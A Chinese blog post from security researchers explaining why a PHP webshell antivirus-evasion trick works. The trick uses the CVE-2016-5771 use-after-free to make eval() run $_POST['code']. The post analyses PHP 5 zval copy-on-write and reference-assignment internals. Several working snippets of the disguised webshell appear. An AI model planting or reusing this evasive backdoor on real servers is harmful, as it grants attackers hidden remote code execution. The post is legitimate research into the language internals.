拥抱php之变量引用

0x00起因

昨天在discord里面我们90sec Team的成员之一的lufei提出了一种php webshell免杀技巧,我觉得很有意思,如下:

1
2
3
4
5
6
7
$code = $_POST['code'];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$code;
eval($outer_array);
他用我之前一篇文章《拥抱php之CVE-2016-5771》里面提到的CVE-2016-5771,我第一次看的时候我迟疑了一下,$filler2 = &$code;他这里这样写为什么能成功呢?如果你是稍微了解这个CVE话,这个CVE是个uaf类型漏洞(如果不太了解可以看看我写那篇文章)。在gc的过程中其实已经释放掉了$outer_array指向的zval,当我们重新定义php变量的时候,就可以拿到这块zval的内存。这里我不会过多讲这个CVE的原理,它不是本文重点讨论的对象。

lufei也问我这里$filler2 = &$code;只能这样写,而不能$filler2 = $code; 或者 $filler2 = $_POST['code']这样写。关于这个地方为什么会这样?我其实在《拥抱php之CVE-2016-5771》中提到过两次,第一次在开头我简单讲了一下php5-php7变量引用区别,还有在后面我提到的 > 这就涉及到php变量赋值的问题上,php5引用赋值,是有split过程的

如果有师傅深入理解的去探究一下的话,是可以很快的理解这里是为什么会导致这种情况的。下面我就借这次提出的问题,讲一下php5里面变量引用的相关知识。

0x01分析

可能有师傅会想这样写,其实这也是一样的,都不会正常的执行:

1
2
3
4
5
6
7
$code = "phpinfo();";
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = $code;
eval($outer_array);
## 前置知识:

php的变量如:$a,$maple这样的在php里面显式定义的不同类型的变量,在php内核里面是都是以一个叫zval结构形式所存在的。可以看一下php5里面zval的定义:

1
2
3
4
5
6
7
struct _zval_struct {
/* Variable information */
zvalue_value value; /* value */
zend_uint refcount__gc;
zend_uchar type; /* active type */
zend_uchar is_ref__gc;
};
zvalue_value用来保存不同类型变量,refcount__gc表示引用计数,type用来标记是zvalue_value保存的是什么类型的变量,is_ref__gc用来表示这个当前的zval是一个引用类型。你现在明白php变量在php内部是以怎样的形式存在。

接下来我们了解一下php的变量赋值是一个怎样的过程?上面说到我们经常看见的$a,$b这些php显式定义的变量,其实在还有一些非显式定义的变量,例如函数返回值,复杂运算间的中间变量等。当然了这里我们还是主要来讨论一下显式定义的php变量之间的赋值情况。

php变量赋值handler

理所当然这里我首先需要看看$filler2 = &$code;这个过程做了什么,怎么在php内核里面快速的找到这个过程呢? 可能对不了解php内核的师傅来说,比较花费时间。php是一门脚本语言,脚本语言的核心在于VM,VM核心在于opcode 和 handler,上面是一条赋值语句,而且是引用赋值,所以他的opcode应该是assign_ref,而且它有两个操作数$filler2$code都是php的显式变量,根据这三个条件我们就能找到一条与之对应的处理handler,php处理过程handler定义都在Zend/zend_vm_execute.h文件中,如果有师傅想要深入的去了解这一过程的话可以去看看我之前写的一篇文章 玩转php的编译与执行 :)

php里面显式定义的变量在php里面表示为CV变量,所以结合上面的分析我们能很快的去定位到相关的handler:

1
2
3
4
5
6
7
8
9
static int ZEND_FASTCALL  ZEND_ASSIGN_REF_SPEC_CV_CV_HANDLER(ZEND_OPCODE_HANDLER_ARGS){
...
value_ptr_ptr = _get_zval_ptr_ptr_cv_BP_VAR_W(execute_data, opline->op2.var TSRMLS_CC);
...
variable_ptr_ptr = _get_zval_ptr_ptr_cv_BP_VAR_W(execute_data, opline->op1.var TSRMLS_CC);
...
zend_assign_to_variable_reference(variable_ptr_ptr, value_ptr_ptr TSRMLS_CC);

}
在这个函数里面我们只需要关注这三行,至于前面两行的作用就是拿到两个php变量对应的zval,这些zval都放在当前execute_data上,这个过程在这里我们不需要去了解。核心的处理过程还是在第三行里面:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
static void zend_assign_to_variable_reference(zval **variable_ptr_ptr, zval **value_ptr_ptr TSRMLS_DC)
{
zval *variable_ptr = *variable_ptr_ptr; //$filler2指向的zval
zval *value_ptr = *value_ptr_ptr; //$code指向的zval

if (variable_ptr == &EG(error_zval) || value_ptr == &EG(error_zval)) {
variable_ptr_ptr = &EG(uninitialized_zval_ptr);
} else if (variable_ptr != value_ptr) { //显然我们两个变量并不是同一个变量
if (!PZVAL_IS_REF(value_ptr)) {
/* break it away */
Z_DELREF_P(value_ptr);
if (Z_REFCOUNT_P(value_ptr)>0) {
ALLOC_ZVAL(*value_ptr_ptr);
ZVAL_COPY_VALUE(*value_ptr_ptr, value_ptr);
value_ptr = *value_ptr_ptr;
zendi_zval_copy_ctor(*value_ptr);
}
Z_SET_REFCOUNT_P(value_ptr, 1);
Z_SET_ISREF_P(value_ptr);
}
*variable_ptr_ptr = value_ptr;
Z_ADDREF_P(value_ptr);
zval_ptr_dtor(&variable_ptr);
}
...
上面分析进入elseif分支以后,里面这些过程可能就有些看不懂了,这里我讲解一下php变量赋值的基本知识:
1
2
$a = "hello,maple";
$b = $a;
这里第一行给$a赋值是一个字面量相当于常量,所以这里php会创建一个字符串类型zval,然后让$a指向它,第二行将$a赋值给了$b,这里变量间的赋值,php内部使用了一种比较常见的技术COW(copy on write),即写时复制,所以这里赋值过程仅仅时将$b也指向了$a所指向的zval,而当在对$b进行写的时候才会去复制一个新的当前$b所指向的zval,然后将$b指向这个新的zval,然后在这个新的zval上进行读写。那么在php内部是如何具体实现的呢?其实在执行$b=$a这一步的时候,其实就时单纯的把$a所指向的zval的 refcount_gc+1,即引用计数+1,与之对应的在写$b的时候,首先会去进行refcount_gc-1去判断refcount_gc是否为0,如果不为零的,当然了前提是$b不是引用类型的变量,就会进行之前提到的复制过程,也可以叫分裂过程。

这里其实还有一点小细节,我们都知道写时复制,其实还隐藏着一些隐式的复制现象比如:

1
2
3
$a = "hello,maple";
$b = $a;
$c = &$a;
这里虽然没有写$b,但是还是在第三步的时候产生了复制现象,\(a,\)c会指向新复制产生的zval,这也是解决前面问题的关键所在,回到之前的过程,具体来看:
1
2
3
4
5
6
7
8
9
10
11
12
if (!PZVAL_IS_REF(value_ptr)) {
/* break it away */
Z_DELREF_P(value_ptr);
if (Z_REFCOUNT_P(value_ptr)>0) {
ALLOC_ZVAL(*value_ptr_ptr);
ZVAL_COPY_VALUE(*value_ptr_ptr, value_ptr);
value_ptr = *value_ptr_ptr;
zendi_zval_copy_ctor(*value_ptr);
}
Z_SET_REFCOUNT_P(value_ptr, 1);
Z_SET_ISREF_P(value_ptr);
}
value_ptr对应着$code,那么$code这时候的引用计数时多少呢?
1
$code = $_POST['code'];
你现在把$_POST['code']也当作一个CV变量,同样根据COW的原则,这里只是把$_POST['code']所指向的zval的引用计数+1,你可能对这个zval初始的引用计数是多少你不了解,但是你应该可以肯定它是大于1的,关于php这些全局变量的定义我想在以后的文章里面我会提到。那么在这里根据上面的代码,$code也不是引用类型,而且在引用计数减一以后它应该还是大于0的,这里就出现了复制过程,这个时候会申请新的zval结构,正好就拿到了我们之前释放掉的$outer_array的zval结构占用的内存。这样$filler2会指向这个新分配的zval,新分配的这个zval就是复制的$_POST['code'],同理现在$outer_array也是指向这块zval的,$outer_array的值就等于$_POST['code']所以整个过程运行成功。

现在再来分析这种情况为什么不行:

1
2
3
4
5
6
7
8

//$code = $_POST['code'];
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = $_POST['code'];
eval($outer_array);
这就很好说明了,这个CV变量间赋值过程,并没有发生复制过程,即没有申请新的zval,$out_array所指向的zval还躺在内存池里面为NULL,也不一定在内存池里面。

0x02ThE next

在阐述这个问题过程中,我又改改了变成下面这种情况:

1
2
3
4
5
6
7
8
9
10

$a="phpinfo();";
$b=$a;
$serialized_string = 'a:1:{i:1;C:11:"ArrayObject":37:{x:i:0;a:2:{i:1;R:4;i:2;r:1;};m:a:0:{}}}';
$outer_array = unserialize($serialized_string);
gc_collect_cycles();
$filler1 = "aaaa";
$filler2 = &$a;
var_dump($outer_array);

按照正常逻辑来说这个过程是没有问题,$filler2 = &$a;这一步是会进行复制分裂的,这没有问题,但是还是非预期,输出的$outer_array是NULL。可能有些师傅能正常输出,有些却不行。这个问题产生的原因在本文之外,而且是比较庞大的一块内容,我决定把它放下我的下一篇文章里面。当然师傅也可以自己先思考思考 )